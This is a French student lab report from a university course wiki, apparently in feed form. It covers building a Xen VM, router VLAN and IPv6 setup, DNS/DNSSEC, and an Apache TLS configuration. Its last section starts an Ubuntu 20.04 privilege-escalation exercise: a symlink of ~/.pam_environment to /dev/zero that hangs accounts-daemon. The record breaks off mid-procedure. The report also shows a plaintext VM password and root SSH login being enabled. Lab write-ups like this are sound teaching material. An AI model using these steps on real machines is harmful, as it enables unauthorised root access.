On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54893</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54893"/>
				<updated>2020-12-17T16:16:56Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce répertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant passer à la configuration d'apache2 :&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, il est nécessaire d'activer le module SSL d'apache:&lt;br /&gt;
 &lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire  /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  ServerAdmin admin@piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  Redirect permanent / https://www.piedbleu.site/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.181:443&amp;gt;&lt;br /&gt;
  ServerName piedbleu.site&lt;br /&gt;
  ServerAlias www.piedbleu.site&lt;br /&gt;
  DocumentRoot /var/www/html&lt;br /&gt;
  CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
  SSLEngine on&lt;br /&gt;
  SSLCertificateFile /etc/ssl/piedbleu.site.crt&lt;br /&gt;
  SSLCertificateKeyFile /etc/ssl/piedbleu.site.key&lt;br /&gt;
  SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La commande : &lt;br /&gt;
 apachect1 configtest &lt;br /&gt;
nous indique bien que la syntaxe est correcte.&lt;br /&gt;
&lt;br /&gt;
Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :&lt;br /&gt;
&lt;br /&gt;
 www	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Pour que les modifications soient prises en compte, nous redémarrons apache2:&lt;br /&gt;
&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
==Sécurisation du serveur DNS par DNSSEC==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues de la manière suivante:&lt;br /&gt;
 Kpiedbleu.site.+005+09001.key -&amp;gt; piedbleu.site-ksk.key &lt;br /&gt;
 Kpiedbleu.site.+005+09001.private -&amp;gt; piedbleu.site-ksk.private&lt;br /&gt;
 Kpiedbleu.site.+005+22902.key -&amp;gt; piedbleu.site-zsk.key&lt;br /&gt;
 Kpiedbleu.site.+005+22902.private -&amp;gt; piedbleu.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key&lt;br /&gt;
 $include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.&lt;br /&gt;
&lt;br /&gt;
On signe ensuite les enregistrements de la zone : &lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site.signed&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.&lt;br /&gt;
&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Vérification:&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/&lt;br /&gt;
&lt;br /&gt;
[[Fichier:dnssec1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
L'utilisation de la commande : &lt;br /&gt;
 dnssec-verify -o piedbleu.site db.piedbleu.site.signed&lt;br /&gt;
&lt;br /&gt;
nous donne le résultat suivant:&lt;br /&gt;
 Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'&lt;br /&gt;
 Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                     ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
&lt;br /&gt;
==IPv6==&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
 ns1     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
 www     IN      AAAA    2001:660:4401:60b2:216:3eff:fefe:c26c&lt;br /&gt;
&lt;br /&gt;
Ensuite, on resigne le DNS : &lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk&lt;br /&gt;
&lt;br /&gt;
Et on redémarre bind9.&lt;br /&gt;
&lt;br /&gt;
=Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.&lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 sudo adduser u1&lt;br /&gt;
 su u1&lt;br /&gt;
 id&lt;br /&gt;
   uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 top&lt;br /&gt;
